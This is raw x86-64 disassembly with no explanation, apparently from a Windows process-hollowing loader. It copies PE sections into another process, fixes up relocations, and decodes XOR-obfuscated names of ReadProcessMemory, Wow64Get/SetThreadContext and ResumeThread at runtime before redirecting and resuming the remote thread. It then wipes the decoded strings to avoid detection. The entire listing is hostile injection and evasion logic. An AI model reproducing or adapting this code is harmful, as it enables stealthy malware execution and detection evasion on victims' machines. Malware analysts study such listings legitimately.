jmp 0x140002c93
mov r10, qword [rbp + 0x1f70]
mov rax, qword [rbp + 0x1fd0]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rdx, qword [rbp + 0x3b8]
mov rax, qword [rbp + 0x430]
mov rcx, qword [rbp + 0x1fb0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0x1ffb], al
movzx eax, byte [rbp + 0x1ffb]
test eax, eax
jne 0x140002ca8
mov ebx, 0
jmp 0x140003b55
mov qword [rbp + 0x1ff0], 0
mov rax, qword [rbp + 0x1fd0]
mov eax, dword [rax + 0xa0]
test eax, eax
je 0x140002cdb
mov rax, qword [rbp + 0x1fd0]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x388], rax
jmp 0x140002cef
mov dword [rbp + 0x388], 0
mov dword [rbp + 0x38c], 0
mov qword [rbp + 0x1f68], 0
mov byte [rbp + 0x1f67], 0
cmp byte [rbp + 0x1fbf], 0
je 0x140002e59
mov dword [rbp + 0x1fec], 0
jmp 0x140002e27
mov rax, qword [rbp + 0x1fd0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x1fd0]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0x1fec]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x1f58], rax
mov edx, dword [rbp + 0x388]
mov rax, qword [rbp + 0x1f58]
mov eax, dword [rax + 0xc]
cmp edx, eax
jb 0x140002d9d
mov edx, dword [rbp + 0x388]
mov rax, qword [rbp + 0x1f58]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x1f58]
mov eax, dword [rax + 8]
add eax, ecx
cmp edx, eax
jae 0x140002d9d
mov rax, qword [rbp + 0x1f58]
mov qword [rbp + 0x1ff0], rax
mov r10, qword [rbp + 0x1f70]
mov rax, qword [rbp + 0x1f58]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x1f58]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x1fb0]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0x1f58]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0x1f57], al
movzx eax, byte [rbp + 0x1f57]
test eax, eax
jne 0x140002e20
mov ebx, 0
jmp 0x140003b55
add dword [rbp + 0x1fec], 1
mov rax, qword [rbp + 0x1fd0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x1fec], eax
jl 0x140002d1d
cmp qword [rbp + 0x1ff0], 0
jne 0x140002f4a
mov ebx, 0
jmp 0x140003b55
mov dword [rbp + 0x1fe8], 0
jmp 0x140002f30
mov rax, qword [rbp + 0x1fd0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x1fd0]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0x1fe8]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x1f68], rax
mov r10, qword [rbp + 0x1f70]
mov rax, qword [rbp + 0x1f68]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x1f68]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x1fb0]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0x1f68]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0x1f67], al
movzx eax, byte [rbp + 0x1f67]
test eax, eax
jne 0x140002f29
mov ebx, 0
jmp 0x140003b55
add dword [rbp + 0x1fe8], 1
mov rax, qword [rbp + 0x1fd0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x1fe8], eax
jl 0x140002e68
cmp byte [rbp + 0x1fbf], 0
je 0x14000332f
mov dword [rbp + 0x1fe4], 0
jmp 0x14000331d
mov rax, qword [rbp + 0x1ff0]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x1fb0]
add rdx, rax
mov eax, dword [rbp + 0x1fe4]
add rax, rdx
mov qword [rbp + 0x1f48], rax
add dword [rbp + 0x1fe4], 8
mov rax, qword [rbp + 0x1f48]
mov eax, dword [rax + 4]
mov eax, eax
sub rax, 8
shr rax, 1
mov dword [rbp + 0x1f44], eax
mov dword [rbp + 0x1fe0], 0
jmp 0x14000330b
mov rax, qword [rbp + 0x1ff0]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x1fb0]
add rdx, rax
mov eax, dword [rbp + 0x1fe4]
add rax, rdx
mov qword [rbp + 0x1f38], rax
add dword [rbp + 0x1fe4], 2
mov rax, qword [rbp + 0x1f38]
movzx eax, byte [rax + 1]
and eax, 0xfffffff0
test al, al
je 0x140003303
mov rax, qword [rbp + 0x1f48]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rdx, rax
mov rax, qword [rbp + 0x1f38]
movzx eax, word [rax]
and ax, 0xfff
movzx eax, ax
add rax, rdx
mov qword [rbp + 0x1f30], rax
mov dword [rbp + 0xc], 0
mov word [rbp - 0x20], 0x66
mov word [rbp - 0x1e], 0x50
mov word [rbp - 0x1c], 0x57
mov word [rbp - 0x1a], 0x53
mov word [rbp - 0x18], 0x68
mov word [rbp - 0x16], 0x4b
mov word [rbp - 0x14], 0x55
mov word [rbp - 0x12], 0x58
mov word [rbp - 0x10], 0x59
mov word [rbp - 0xe], 0x4e
mov word [rbp - 0xc], 0x4d
mov word [rbp - 0xa], 0x72
mov word [rbp - 8], 0x25
mov word [rbp - 6], 0x2c
mov word [rbp - 4], 0x2d
mov word [rbp - 2], 0x31
mov word [rbp], 0x3d
mov word [rbp + 2], 0x45
lea rax, [rbp - 0x20]
mov qword [rbp + 0x1d48], rax
mov rax, qword [rbp + 0x1d48]
mov qword [rbp + 0x1d40], rax
mov rax, qword [rbp + 0x1d40]
movzx eax, word [rax + 0x22]
test ax, ax
setne al
test al, al
je 0x14000316d
mov rax, qword [rbp + 0x1d48]
mov rdx, qword [rbp + 0x1d48]
mov qword [rbp + 0x1d38], rdx
mov qword [rbp + 0x1d30], rax
mov dword [rbp + 0x1d2c], 0
jmp 0x140003163
mov eax, dword [rbp + 0x1d2c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1d30]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1d2c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1d38]
mov edx, dword [rbp + 0x1d2c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1d2c], 1
cmp dword [rbp + 0x1d2c], 0x11
jle 0x1400030fb
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400014e5
mov rdx, rax
mov rax, qword [rbp + 0x1fa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f28], rax
cmp qword [rbp + 0x1f28], 0
jne 0x1400031aa
mov ebx, 0
jmp 0x140003b55
lea rax, [rbp - 0x20]
mov qword [rbp + 0x1d20], rax
mov rax, qword [rbp + 0x1d20]
movzx eax, word [rax + 0x22]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140003265
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0x1d18], rdx
mov qword [rbp + 0x1d10], rax
mov dword [rbp + 0x1d0c], 0
jmp 0x14000325b
mov eax, dword [rbp + 0x1d0c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1d10]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1d0c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1d18]
mov edx, dword [rbp + 0x1d0c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1d0c], 1
cmp dword [rbp + 0x1d0c], 0x11
jle 0x1400031f3
nop
mov dword [rbp + 0x1d08], 0
jmp 0x140003287
mov eax, dword [rbp + 0x1d08]
cdqe
mov word [rbp + rax*2 - 0x20], 0
add dword [rbp + 0x1d08], 1
cmp dword [rbp + 0x1d08], 0x11
jle 0x140003271
nop
mov r10, qword [rbp + 0x1f28]
mov rdx, qword [rbp + 0x1f30]
mov rax, qword [rbp + 0x430]
lea rcx, [rbp + 0xc]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rcx
mov rcx, rax
call r10
mov edx, dword [rbp + 0xc]
mov eax, dword [rbp + 0x1f7c]
add eax, edx
mov dword [rbp + 0xc], eax
mov r10, qword [rbp + 0x1f70]
mov rdx, qword [rbp + 0x1f30]
mov rax, qword [rbp + 0x430]
lea rcx, [rbp + 0xc]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rcx
mov rcx, rax
call r10
jmp 0x140003304
nop
add dword [rbp + 0x1fe0], 1
mov eax, dword [rbp + 0x1fe0]
cmp eax, dword [rbp + 0x1f44]
jb 0x140002fbb
mov eax, dword [rbp + 0x38c]
cmp dword [rbp + 0x1fe4], eax
jb 0x140002f66
mov dword [rbp + 0xb0], 0x10000b
mov word [rbp + 0x80], 0x63
mov word [rbp + 0x82], 0x5a
mov word [rbp + 0x84], 0x41
mov word [rbp + 0x86], 1
mov word [rbp + 0x88], 0xc
mov word [rbp + 0x8a], 0x7e
mov word [rbp + 0x8c], 0x5f
mov word [rbp + 0x8e], 0x4f
mov word [rbp + 0x90], 0x68
mov word [rbp + 0x92], 0x55
mov word [rbp + 0x94], 0x4c
mov word [rbp + 0x96], 0x5a
mov word [rbp + 0x98], 0x21
mov word [rbp + 0x9a], 0x25
mov word [rbp + 0x9c], 1
mov word [rbp + 0x9e], 0x2c
mov word [rbp + 0xa0], 0x2a
mov word [rbp + 0xa2], 0x31
mov word [rbp + 0xa4], 0x23
mov word [rbp + 0xa6], 0x3f
mov word [rbp + 0xa8], 0x3c
mov word [rbp + 0xaa], 0x49
lea rax, [rbp + 0x80]
mov qword [rbp + 0x1d00], rax
mov rax, qword [rbp + 0x1d00]
mov qword [rbp + 0x1cf8], rax
mov rax, qword [rbp + 0x1cf8]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
test al, al
je 0x1400034ce
mov rax, qword [rbp + 0x1d00]
mov rdx, qword [rbp + 0x1d00]
mov qword [rbp + 0x1cf0], rdx
mov qword [rbp + 0x1ce8], rax
mov dword [rbp + 0x1ce4], 0
jmp 0x1400034c4
mov eax, dword [rbp + 0x1ce4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1ce8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1ce4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1cf0]
mov edx, dword [rbp + 0x1ce4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1ce4], 1
cmp dword [rbp + 0x1ce4], 0x15
jle 0x14000345c
nop
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.1400014e5
mov rdx, rax
mov rax, qword [rbp + 0x1fa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f20], rax
cmp qword [rbp + 0x1f20], 0
jne 0x14000350e
mov ebx, 0
jmp 0x140003b55
mov r8, qword [rbp + 0x1f20]
mov rax, qword [rbp + 0x438]
lea rdx, [rbp + 0xb0]
mov rcx, rax
call r8
test rax, rax
setne al
mov byte [rbp + 0x1f1f], al
mov r10, qword [rbp + 0x1f70]
mov eax, dword [rbp + 0x154]
mov eax, eax
add rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x430]
lea rdx, [rbp + 0x3b8]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0x1f1e], al
lea rax, [rbp + 0x80]
mov qword [rbp + 0x1cd8], rax
mov rax, qword [rbp + 0x1cd8]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140003644
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x80]
mov qword [rbp + 0x1cd0], rdx
mov qword [rbp + 0x1cc8], rax
mov dword [rbp + 0x1cc4], 0
jmp 0x14000363a
mov eax, dword [rbp + 0x1cc4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1cc8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1cc4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1cd0]
mov edx, dword [rbp + 0x1cc4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1cc4], 1
cmp dword [rbp + 0x1cc4], 0x15
jle 0x1400035d2
nop
mov dword [rbp + 0x1c98], 0
jmp 0x140003669
mov eax, dword [rbp + 0x1c98]
cdqe
mov word [rbp + rax*2 + 0x80], 0
add dword [rbp + 0x1c98], 1
cmp dword [rbp + 0x1c98], 0x15
jle 0x140003650
nop
mov word [rbp + 0x50], 0x63
mov word [rbp + 0x52], 0x5a
mov word [rbp + 0x54], 0x41
mov word [rbp + 0x56], 1
mov word [rbp + 0x58], 0xc
mov word [rbp + 0x5a], 0x6a
mov word [rbp + 0x5c], 0x5f
mov word [rbp + 0x5e], 0x4f
mov word [rbp + 0x60], 0x68
mov word [rbp + 0x62], 0x55
mov word [rbp + 0x64], 0x4c
mov word [rbp + 0x66], 0x5a
mov word [rbp + 0x68], 0x21
mov word [rbp + 0x6a], 0x25
mov word [rbp + 0x6c], 1
mov word [rbp + 0x6e], 0x2c
mov word [rbp + 0x70], 0x2a
mov word [rbp + 0x72], 0x31
mov word [rbp + 0x74], 0x23
mov word [rbp + 0x76], 0x3f
mov word [rbp + 0x78], 0x3c
mov word [rbp + 0x7a], 0x49
mov rax, qword [rbp + 0x1fd0]
mov eax, dword [rax + 0x28]
mov rdx, qword [rbp + 0x3b8]
add eax, edx
mov dword [rbp + 0x160], eax
lea rax, [rbp + 0x50]
mov qword [rbp + 0x1cb8], rax
mov rax, qword [rbp + 0x1cb8]
mov qword [rbp + 0x1cb0], rax
mov rax, qword [rbp + 0x1cb0]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
test al, al
je 0x1400037dc
mov rax, qword [rbp + 0x1cb8]
mov rdx, qword [rbp + 0x1cb8]
mov qword [rbp + 0x1ca8], rdx
mov qword [rbp + 0x1ca0], rax
mov dword [rbp + 0x1c9c], 0
jmp 0x1400037d2
mov eax, dword [rbp + 0x1c9c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1ca0]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1c9c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1ca8]
mov edx, dword [rbp + 0x1c9c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1c9c], 1
cmp dword [rbp + 0x1c9c], 0x15
jle 0x14000376a
nop
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400014e5
mov rdx, rax
mov rax, qword [rbp + 0x1fa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f10], rax
mov r8, qword [rbp + 0x1f10]
mov rax, qword [rbp + 0x438]
lea rdx, [rbp + 0xb0]
mov rcx, rax
call r8
test rax, rax
setne al
mov byte [rbp + 0x1f0f], al
lea rax, [rbp + 0x50]
mov qword [rbp + 0x1c90], rax
mov rax, qword [rbp + 0x1c90]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x1400038e7
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x50]
mov qword [rbp + 0x1c88], rdx
mov qword [rbp + 0x1c80], rax
mov dword [rbp + 0x1c7c], 0
jmp 0x1400038dd
mov eax, dword [rbp + 0x1c7c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1c80]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1c7c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1c88]
mov edx, dword [rbp + 0x1c7c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1c7c], 1
cmp dword [rbp + 0x1c7c], 0x15
jle 0x140003875
nop
mov dword [rbp + 0x1c50], 0
jmp 0x140003909
mov eax, dword [rbp + 0x1c50]
cdqe
mov word [rbp + rax*2 + 0x50], 0
add dword [rbp + 0x1c50], 1
cmp dword [rbp + 0x1c50], 0x15
jle 0x1400038f3
nop
mov word [rbp + 0x30], 0x66
mov word [rbp + 0x32], 0x50
mov word [rbp + 0x34], 0x45
mov word [rbp + 0x36], 0x42
mov word [rbp + 0x38], 0x55
mov word [rbp + 0x3a], 0x5c
mov word [rbp + 0x3c], 0x6e
mov word [rbp + 0x3e], 0x53
mov word [rbp + 0x40], 0x4e
mov word [rbp + 0x42], 0x58
mov word [rbp + 0x44], 0x5f
mov word [rbp + 0x46], 0x5b
mov word [rbp + 0x48], 0x40
lea rax, [rbp + 0x30]
mov qword [rbp + 0x1c70], rax
mov rax, qword [rbp + 0x1c70]
mov qword [rbp + 0x1c68], rax
mov rax, qword [rbp + 0x1c68]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
test al, al
je 0x140003a2d
mov rax, qword [rbp + 0x1c70]
mov rdx, qword [rbp + 0x1c70]
mov qword [rbp + 0x1c60], rdx
mov qword [rbp + 0x1c58], rax
mov dword [rbp + 0x1c54], 0
jmp 0x140003a23
mov eax, dword [rbp + 0x1c54]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1c58]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1c54]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1c60]
mov edx, dword [rbp + 0x1c54]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1c54], 1
cmp dword [rbp + 0x1c54], 0xc
jle 0x1400039bb
nop
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400014e5
mov rdx, rax
mov rax, qword [rbp + 0x1fa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f00], rax
mov rdx, qword [rbp + 0x1f00]
mov rax, qword [rbp + 0x438]
mov rcx, rax
call rdx
lea rax, [rbp + 0x30]
mov qword [rbp + 0x1c48], rax
mov rax, qword [rbp + 0x1c48]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140003b24
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x30]
mov qword [rbp + 0x1c40], rdx
mov qword [rbp + 0x1c38], rax
mov dword [rbp + 0x1c34], 0
jmp 0x140003b1a
mov eax, dword [rbp + 0x1c34]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1c38]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1c34]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1c40]
mov edx, dword [rbp + 0x1c34]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1c34], 1
cmp dword [rbp + 0x1c34], 0xc
jle 0x140003ab2
nop
mov dword [rbp + 0x1c30], 0
jmp 0x140003b46
mov eax, dword [rbp + 0x1c30]
cdqe
mov word [rbp + rax*2 + 0x30], 0
add dword [rbp + 0x1c30], 1
cmp dword [rbp + 0x1c30], 0xc
jle 0x140003b30
nop
mov ebx, 1
lea rax, [rbp + 0x16c0]
mov rcx, rax
call fcn.14003d350
mov eax, ebx
jmp 0x140003ba3
add rsp, 0x2088
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
ret